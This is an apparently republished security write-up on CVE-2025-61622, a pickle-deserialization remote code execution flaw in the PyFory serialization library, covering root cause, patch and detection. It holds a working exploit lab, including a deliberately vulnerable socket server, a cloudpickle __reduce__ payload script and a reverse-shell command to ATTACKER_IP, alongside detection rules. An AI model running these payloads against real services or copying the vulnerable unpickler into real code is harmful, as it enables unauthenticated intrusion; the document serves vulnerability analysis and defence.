CVE-2025-61622: PyFory Insecure Pickle Deserialization to RCE

CVE-2025-61622: PyFory Insecure Pickle Deserialization to Remote Code Execution

Original text: “CVE-2025-61622: PyFory – Insecure Pickle Deserialization to Remote Code Execution” — SecureLayer7 Blog (May 28, 2026). Code blocks, screenshots and patch diff below are reproduced verbatim with attribution captions.

Executive Summary

CVE-2025-61622 is an unauthenticated remote code execution in PyFory (formerly PyFury / Apache Fory), an open-source high-performance Python serialization framework marketed as a drop-in replacement for pickle and msgpack. The vulnerability sits in the library’s fallback path for serialized values whose type was never registered: handle_unsupported_read() in pyfory/_fory.py instantiates a bare pickle.Unpickler with no find_class override and calls .load() on the attacker’s buffer. That is, by the time PyFory’s schema check has decided “I don’t know this type”, the pickle bytecode VM has already executed every opcode in the stream — including any REDUCE (0x52) that the attacker placed at the top.

The operational impact is exactly what 25-plus years of pickle warnings would lead you to expect: any process accepting PyFory-serialized input over a network with require_type_registration=False (the default in 0.12.0–0.12.2) can be made to run arbitrary OS commands. The attacker does not need PyFory installed locally — a four-line cloudpickle.Pickler().dump() of a __reduce__ trampoline pushed over a TCP socket is enough. The fix in 0.12.3 is structural: the pickle fallback is removed entirely and handle_unsupported_read() now raises UnsupportedTypeError immediately, with an ENABLE_TYPE_REGISTRATION_FORCIBLY environment variable available for hosts that want to enforce safe-by-default behaviour globally.

CVE-2025-61622: PyFory Insecure Pickle Deserialization to RCE
Hero image — CVE-2025-61622 PyFory pickle deserialization to RCE. Source: original article.

At a Glance

FieldValue
CVECVE-2025-61622
Affected productPyFory (formerly PyFury / Apache Fory) — Python implementation
Affected versions0.12.0 – 0.12.2
Fixed version0.12.3+
Vulnerable file/functionpyfory/_fory.pyhandle_unsupported_read() (around line 448)
Root causeBare pickle.Unpickler with no find_class() override invoked on attacker-controlled buffer in fallback path
Trigger flagConstructor argument require_type_registration=False (default in 0.12.0–0.12.2)
Attack vectorNetwork — any service deserializing untrusted PyFory streams; attacker does NOT need PyFory installed (cloudpickle suffices)
Privileges requiredNone
User interactionNone
ImpactUnauthenticated arbitrary command execution as the PyFory-consuming process
Mitigation flag (0.12.3+)ENABLE_TYPE_REGISTRATION_FORCIBLY=1 — forces type registration globally
CVE-2025-61622 advisory at a glance. Source: original article.

What is PyFory?

PyFory is the Python language binding for the cross-language Fory (formerly Fury) serialization framework. It targets the same niche as pickle, msgpack and Protocol Buffers, but with two pitches that make it interesting to backend engineers: JIT-compiled type encoders that promise lower per-call overhead than vanilla pickle, and cross-language interop — the same serialized stream can be decoded by a Java, Go, Rust, JavaScript or C++ consumer. That cross-language story is what gets PyFory into RPC layers, microservice queues and cache backends.

The Python implementation has a registration model: callers are expected to call Fory.register_class() for every type that will travel over the wire, and the encoder/decoder then uses the registered table to drive type dispatch. The vulnerability is in the path that fires when the registration model fails — when a stream arrives carrying a type the library was never told about.

Attack Flow

Attack flow of CVE-2025-61622 PyFory deserialization RCE
Attack flow of CVE-2025-61622. Source: original article.
  • Attacker crafts a Python class whose __reduce__ returns (os.system, (cmd,)).
  • Attacker pickles it with cloudpickle.Pickler().dump() — no PyFory dependency needed.
  • Attacker sends the resulting byte buffer to the target service’s deserialization endpoint.
  • PyFory’s schema check declares the type unregistered and dispatches to handle_unsupported_read().
  • handle_unsupported_read() creates a bare pickle.Unpickler(buffer) and calls .load().
  • The pickle VM walks the opcode stream, hits REDUCE, pops the callable + args and invokes os.system(cmd) — RCE.

Building the Lab

The SecureLayer7 write-up ships a two-container Docker lab: a victim container running a stripped-down Python service that emulates handle_unsupported_read() on TCP port 9999, and an attacker container with cloudpickle installed for payload generation. Both containers sit on the same bridged Docker network so the attacker can hit the victim by hostname.

Dockerfile

FROM python:3.11-slim
WORKDIR /lab

RUN pip install --no-cache-dir cloudpickle

# Vulnerable app -- simulates PyFory _fory.py:448 (handle_unsupported_read)
RUN echo '#!/usr/bin/env python3n
import pickle, io, socketn
n
def handle_unsupported_read(buffer):n
    """PyFory _fory.py:448 -- vulnerable function"""n
    unpickler = pickle.Unpickler(buffer)n
    return unpickler.load()n
n
print("[*] PyFory App (require_type_registration=False)")n
print("[*] Listening on 0.0.0.0:9999")n
n
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)n
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)n
s.bind(("0.0.0.0", 9999))n
s.listen(1)n
n
while True:n
    c, addr = s.accept()n
    print(f"[+] Connection: {addr}")n
    data = c.recv(4096)n
    if data:n
        print("[*] Calling handle_unsupported_read()...")n
        handle_unsupported_read(io.BytesIO(data))n
    c.close()n
' > pyfory_app.py

# Exploit using cloudpickle + __reduce__
RUN echo '#!/usr/bin/env python3n
import io, socket, sys, osn
from cloudpickle import Picklern
n
class RCE:n
    def __init__(self, cmd): self.cmd = cmdn
    def __reduce__(self): return (os.system, (self.cmd,))n
n
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"n
cmd = sys.argv[2] if len(sys.argv) > 2 else "id"n
n
print(f"[*] Target: {host}:9999")n
print(f"[*] Payload: {cmd}")n
n
buf = io.BytesIO()n
Pickler(buf).dump(RCE(cmd))n
n
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)n
s.connect((host, 9999))n
s.send(buf.getvalue())n
s.close()n
print("[+] Exploit sent!")n
' > exploit.py

COPY poc_minimal.py .

RUN chmod +x *.py

docker-compose.yml

services:
  victim:
    build: .
    container_name: cve-2025-61622-victim
    ports:
      - "9999:9999"
    networks:
      - vuln-net
    command: python pyfory_app.py

  attacker:
    build: .
    container_name: cve-2025-61622-attacker
    networks:
      - vuln-net
    depends_on:
      - victim
    stdin_open: true
    tty: true
    command: /bin/bash

networks:
  vuln-net:
    driver: bridge

Bring the lab up with cd CVE-2025-61622/lab && docker compose up -d.

Proof of Concept

Step 1 — Demonstrate the Primitive Locally

Before talking to the network, prove the primitive works in-process. The __reduce__ protocol tells pickle “to reconstruct me, call this function with these arguments” — nothing constrains that function to be safe.

class CommandExecutionPayload:
    def __reduce__(self):
        return (os.system, ('echo COMMAND EXECUTED FROM PICKLE!',))

buf = io.BytesIO()
Pickler(buf).dump(CommandExecutionPayload())

# Round-trip through pickle.Unpickler.load() -- this is what PyFory does on unknown types
pickle.Unpickler(io.BytesIO(buf.getvalue())).load()
# ↓
# COMMAND EXECUTED FROM PICKLE!
Pickle __reduce__ primitive demonstrated locally
Vulnerability check — the __reduce__ primitive triggering os.system through a local pickle.Unpickler.load(). Source: original article.

Step 2 — Send the Payload Over the Network

The on-the-wire exploit is a tiny cloudpickle.Pickler().dump() of the RCE class above, written into an io.BytesIO, then sent over a single TCP connection to port 9999 on the victim container. No PyFory client library required.

Exploit code combining __reduce__ class, cloudpickle.dumps and a TCP socket send
Exploit code — __reduce__ class + cloudpickle.dumps + a single socket send. Source: original article.
cloudpickle payload delivered to handle_unsupported_read() over the network
Exploit execution — cloudpickle blob delivered to handle_unsupported_read(). Source: original article.

Step 3 — Verify Code Execution on the Victim

docker exec cve-2025-61622-attacker 
    python exploit.py cve-2025-61622-victim "touch /tmp/pwned_pyfory"

# Result: /tmp/pwned_pyfory created as root on victim
RCE proof — /tmp/pwned_pyfory created plus pickletools disassembly of the payload
RCE proof — /tmp/pwned_pyfory created on the victim plus a pickletools disassembly of the payload. Source: original article.

A pickletools.dis of the same payload shows the bytecode VM at work: push os, push system, STACK_GLOBAL them into a callable, push the command string, wrap it in a 1-tuple, REDUCE:

 0: x80 PROTO      4
    2: x95 FRAME      28
   11: x8c SHORT_BINUNICODE 'os'           # push 'os' onto stack
   15: x94 MEMOIZE    (as 0)
   16: x8c SHORT_BINUNICODE 'system'       # push 'system'
   24: x94 MEMOIZE    (as 1)
   25: x93 STACK_GLOBAL                    # pop names, push os.system
   26: x94 MEMOIZE    (as 2)
   27: x8c SHORT_BINUNICODE 'id'           # push the command string
   31: x94 MEMOIZE    (as 3)
   32: x85 TUPLE1                          # wrap top-of-stack in 1-tuple
   33: x94 MEMOIZE    (as 4)
   34: R    REDUCE                          # pop callable + args, call it
   35: x94 MEMOIZE    (as 5)
   36: .    STOP

Step 4 — Reverse Shell

docker exec cve-2025-61622-attacker 
    python exploit.py cve-2025-61622-victim 
        'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

Static Analysis

Anatomy of the __reduce__ Trick

The entire offensive surface in this bug is one method on the attacker class. __reduce__ returns a 2-tuple of (callable, args) that pickle’s reconstruction logic invokes immediately. There is no “safe” subset of __reduce__; the callable is arbitrary.

class RCE:
    def __init__(self, cmd):
        self.cmd = cmd
    def __reduce__(self):
        # Tells pickle: "to rebuild me, call os.system(cmd)"
        return (os.system, (self.cmd,))

Pickle Is Not a Serialization Format — It’s a Bytecode VM

The most important framing the SecureLayer7 write-up makes: Python’s pickle is a stack-based bytecode interpreter. Every .load() call walks an opcode stream and executes it. REDUCE (0x52) pops a callable and an argument tuple off the stack and invokes them, before the application ever sees the resulting object. If the attacker can place bytes into the buffer that Unpickler.load() reads, the attacker can call any importable function with any arguments.

find_class() — The One Hook That Could Have Saved PyFory

The defensive hook is Unpickler.find_class(module, name), shipped in Python 2.3 and present in every stdlib pickle ever since. Subclassing Unpickler and overriding find_class with an allow-list turns pickle from a remote-code-execution primitive into a structured-data decoder; the canonical recipe is the RestrictedUnpickler pattern from the official Python documentation:

class RestrictedUnpickler(pickle.Unpickler):
    SAFE = {("pyfory.types", "MyType"), ("pyfory.types", "OtherType")}

    def find_class(self, module, name):
        if (module, name) not in self.SAFE:
            raise pickle.UnpicklingError(f"global {module}.{name} forbidden")
        return super().find_class(module, name)

PyFory’s vulnerable releases imported the raw Unpickler class with no subclass, no find_class override, no allow-list, no policy. Every type pickle is asked to resolve is resolved.

The Dangerous Fallback — handle_unsupported_read()

Vulnerable code in PyFory handle_unsupported_read — bare pickle.Unpickler with no find_class override
Vulnerable code — bare pickle.Unpickler, no find_class override. Source: original article.
# pyfory/_fory.py
def handle_unsupported_read(self, buffer):
    in_band = buffer.read_bool()
    if in_band:
        unpickler = self.unpickler
        if unpickler is None:
            self.unpickler = unpickler = Unpickler(buffer)   # <-- bare Unpickler
        return unpickler.load()                              # <-- bytecode VM runs
    else:
        assert self._unsupported_objects is not None
        return next(self._unsupported_objects)

Note also the memoisation on self.unpickler — once constructed the Unpickler is reused for every subsequent call, so even short-lived processes that handle multiple messages are exposed.

The Symmetric Write Side — handle_unsupported_write()

def handle_unsupported_write(self, buffer, obj):
    if self._unsupported_callback is None or self._unsupported_callback(obj):
        buffer.write_bool(True)
        self.pickler.dump(obj)        # cloudpickle.Pickler -- superset of pickle
    else:
        buffer.write_bool(False)

The write side uses cloudpickle.Pickler, which is a strict superset of stdlib pickle. The practical consequence: the attacker doesn’t need PyFory installed at all. pip install cloudpickle, build a single object with an attacker-controlled __reduce__, dump it to bytes, push it at the victim’s socket. The PyFory consumer accepts it because PyFory’s read path is a strict subset of what its write path can emit.

The Safety Gate — _PicklerStub vs Real Unpickler

The vulnerable releases do ship a safety mechanism: stub classes that raise on every dump() / load() call. The catch is that they’re only installed when require_type_registration is true. The default is false.

# pyfory/_fory.py  (Fory.__init__, abbreviated)
if not require_type_registration:
    warnings.warn(
        "Type registration is disabled, unknown types can be deserialized "
        "which may be insecure.",
        RuntimeWarning,
        stacklevel=2,
    )
    self.pickler = Pickler(self.buffer)     # real cloudpickle.Pickler
    self.unpickler = None                   # real pickle.Unpickler created lazily
else:
    self.pickler = _PicklerStub()           # raises on dump
    self.unpickler = _UnpicklerStub()       # raises on load

class _PicklerStub:
    def dump(self, o):
        raise ValueError(f"Type {type(o)} is not registered, pickle is not allowed ...")
    def clear_memo(self): pass

class _UnpicklerStub:
    def load(self):
        raise ValueError("pickle is not allowed when type registration enabled, ...")

The Forcing Env Var — A Hint of How the Library Should Have Looked

_ENABLE_TYPE_REGISTRATION_FORCIBLY = os.getenv(
    "ENABLE_TYPE_REGISTRATION_FORCIBLY", "0"
) in {"1", "true"}

self.require_type_registration = (
    _ENABLE_TYPE_REGISTRATION_FORCIBLY or require_type_registration
)

The presence of an ENABLE_TYPE_REGISTRATION_FORCIBLY escape hatch is itself a tacit acknowledgement that the safe path was always the right default, and that the library was shipped with the dangerous one selected.

RuntimeWarning Is Cosmetic, Not Protective

The warnings.warn(..., RuntimeWarning) issued by the unsafe constructor branch is printed once per call site, then suppressed for the lifetime of the process. In a long-running server — the exact deployment shape PyFory is pitched for — the warning shows up in the first second of startup, is missed by every monitor that doesn’t parse stderr, and never appears again. The mitigation has the appearance of a defence but its actual effect on operational risk is zero.

Detection — Static and Runtime

  • Static (grep-able): any call site instantiating Fory() / Fury() without require_type_registration=True. Also any direct import of pickle.Unpickler not followed by a subclass with an explicit find_class() method.
  • Runtime: monitor for child processes spawned by Python services that never used to fork — os.system from inside a deserialization stack is a high-fidelity behavioural signal. The standard auditd / sysmon rule on parent=python* and child=/bin/sh|/bin/bash catches the textbook exploitation.
  • YARA / network: look for the STACK_GLOBAL + REDUCE opcode sequence (x93 followed by R) inside payloads being decoded by a Python service. The byte pattern is short but high-signal in non-pickle workloads.

Why “Just Use HMAC” Isn’t Enough

A standard reflex when a deserialization bug is reported is “wrap the payload in an HMAC so only authenticated senders can submit”. The SecureLayer7 write-up argues, correctly, that HMAC is necessary but not sufficient: any compromised sender, replayed message, or insider account becomes RCE against every consumer on the bus. The structural fix is to never invoke pickle on a buffer whose schema you do not yet trust, which is exactly what the 0.12.3 patch does.

Patch Diffing

Before — PyFory 0.12.0 to 0.12.2

A bare pickle.Unpickler.load() on the attacker-controlled buffer in handle_unsupported_read() — the entire vulnerability sits in this single function and the absence of find_class.

After — PyFory >= 0.12.3

Patch in PyFory 0.12.3 — pickle fallback removed; handle_unsupported_read raises UnsupportedTypeError
Patch — pickle fallback removed; handle_unsupported_read raises UnsupportedTypeError. Source: original article.
def handle_unsupported_read(self, buffer):
    raise UnsupportedTypeError(
        "Deserialising unregistered types is no longer supported. "
        "Please register all types via Fury.register_class()."
    )

ENABLE_TYPE_REGISTRATION_FORCIBLY Environment Variable

_ENABLE_TYPE_REGISTRATION_FORCIBLY = os.getenv(
    "ENABLE_TYPE_REGISTRATION_FORCIBLY", "0"
) in {"1", "true"}

# Used inside __init__:
self.require_type_registration = (
    _ENABLE_TYPE_REGISTRATION_FORCIBLY or require_type_registration
)

Operators of large Python fleets running on hardened images can set ENABLE_TYPE_REGISTRATION_FORCIBLY=1 system-wide and guarantee that every PyFory instance ignores require_type_registration=False in any constructor call, no matter who wrote that line of application code.

Monkey-Patch Retrofit for Legacy Deployments

Where upgrading PyFory isn’t immediately possible, the SecureLayer7 write-up suggests a runtime retrofit that hooks the stdlib’s own find_class with a global allow-list:

import builtins, pickle, types
_real_find_class = pickle.Unpickler.find_class
def _safe_find_class(self, module, name):
    if (module, name) not in {("pyfory.types", "MyType"), ...}:
        raise pickle.UnpicklingError(f"forbidden global {module}.{name}")
    return _real_find_class(self, module, name)
pickle.Unpickler.find_class = _safe_find_class

Impact

  • Any service deserializing untrusted PyFory-formatted streams with require_type_registration=False (the default in 0.12.0–0.12.2) is exploitable.
  • The attacker needs no PyFory installation — cloudpickle is enough.
  • Execution happens as the PyFory-consuming process — often a long-running Python service, often running with elevated privileges in container or VM deployments.
  • Memoisation on self.unpickler means the vulnerability persists across messages on the same Fory instance.
  • The RuntimeWarning shipped with the unsafe default is operationally invisible.

Key Takeaways

  • pickle is a bytecode VM. Anyone who can write bytes to a buffer your code subsequently passes to pickle.Unpickler.load() can call any importable callable. There is no “safe” pickle.
  • find_class() is the one defensive hook, and it has been there since Python 2.3. Subclassing Unpickler and overriding it with an allow-list is the only sound use of pickle on untrusted input.
  • Fallback paths in serialization libraries are dangerous because they invoke unsafe primitives precisely when the library has decided it does not understand the input — exactly the moment when the input is most likely to be adversarial.
  • Schema-registration models are only as safe as their default: PyFory’s default was off, and a RuntimeWarning at startup did not change anything operationally.
  • An attacker doesn’t have to use your library. The PyFory write side uses cloudpickle, a public package; that’s all an attacker needs to construct a valid input.
  • Patch is structural, not a flag flip. PyFory 0.12.3 removes the pickle fallback entirely. Users on 0.12.x prior to 0.12.3 are vulnerable regardless of constructor flags.
  • HMAC alone is not a mitigation for this class of bug. Any sender with the key, replayed message, or insider account becomes RCE against every consumer on the channel.

Defensive Recommendations

  • Upgrade PyFory to 0.12.3 or later, fleet-wide. There is no constructor-flag-only mitigation for releases prior to the structural patch.
  • Set ENABLE_TYPE_REGISTRATION_FORCIBLY=1 at the platform / container image level. The variable overrides per-instance constructor flags and enforces safe-by-default behaviour even if application code passes require_type_registration=False.
  • Grep your codebase for direct pickle use. Anywhere you find pickle.Unpickler(...).load(), pickle.loads(), or cloudpickle.loads() on a buffer that came from outside the process, wrap it in a RestrictedUnpickler with an allow-list of (module, name) tuples. The same rule applies to jsonpickle, pickleshare, shelve, dill, and joblib.load.
  • Add an EDR / sysmon rule for child processes spawned by Python services that aren’t expected to fork. parent=python*child=/bin/sh|/bin/bash|/bin/dash is a clean detection pattern that hits this exploitation shape with low FP.
  • Network-side YARA / Suricata rule on the x93R byte sequence (STACK_GLOBAL + REDUCE) inside payloads addressed to services known to use PyFory / Python pickle. The pattern is short but unusual in non-pickle traffic.
  • Audit container privilege. PyFory consumers running as root, or with capabilities like CAP_NET_RAW / CAP_SYS_ADMIN, turn a single message into a fleet-wide compromise. Drop privileges to a minimal service user.
  • Track pickle traffic as cross-trust-boundary data. A pickle bytestream between two processes in your service mesh is fine if both endpoints belong to the same trust zone; the moment the bytestream crosses a zone boundary it needs an authenticated, schema-validated wrapper around it, not just an HMAC.
  • For new code, prefer schema-validated formats (Protocol Buffers, msgpack with strict mode, JSON Schema). When the format is the schema, there is no “unknown type” fallback to exploit.

Conclusion

CVE-2025-61622 is, in one sentence, what happens when a high-performance serialization library uses raw pickle.Unpickler as its “I don’t know what this is, but I’ll try to read it anyway” fallback. The SecureLayer7 write-up does the field a favour by treating it as an exhaustive teaching exercise — reproducing the lab, disassembling the payload with pickletools, walking the __reduce__ protocol from first principles, and showing exactly which line of the 0.12.3 patch removed the foot-cannon. The structural lesson is one Python ecosystem has had since 2003 and still hasn’t internalised: pickle.Unpickler.load() on untrusted input is RCE; there is no “but it’s a fallback” that changes that. Credit and thanks to SecureLayer7 for the deep technical write-up, the working PoC lab, and the patch-diff analysis.

References

Original text: “CVE-2025-61622: PyFory – Insecure Pickle Deserialization to Remote Code Execution” at SecureLayer7 Blog (May 28, 2026).

Comments are closed.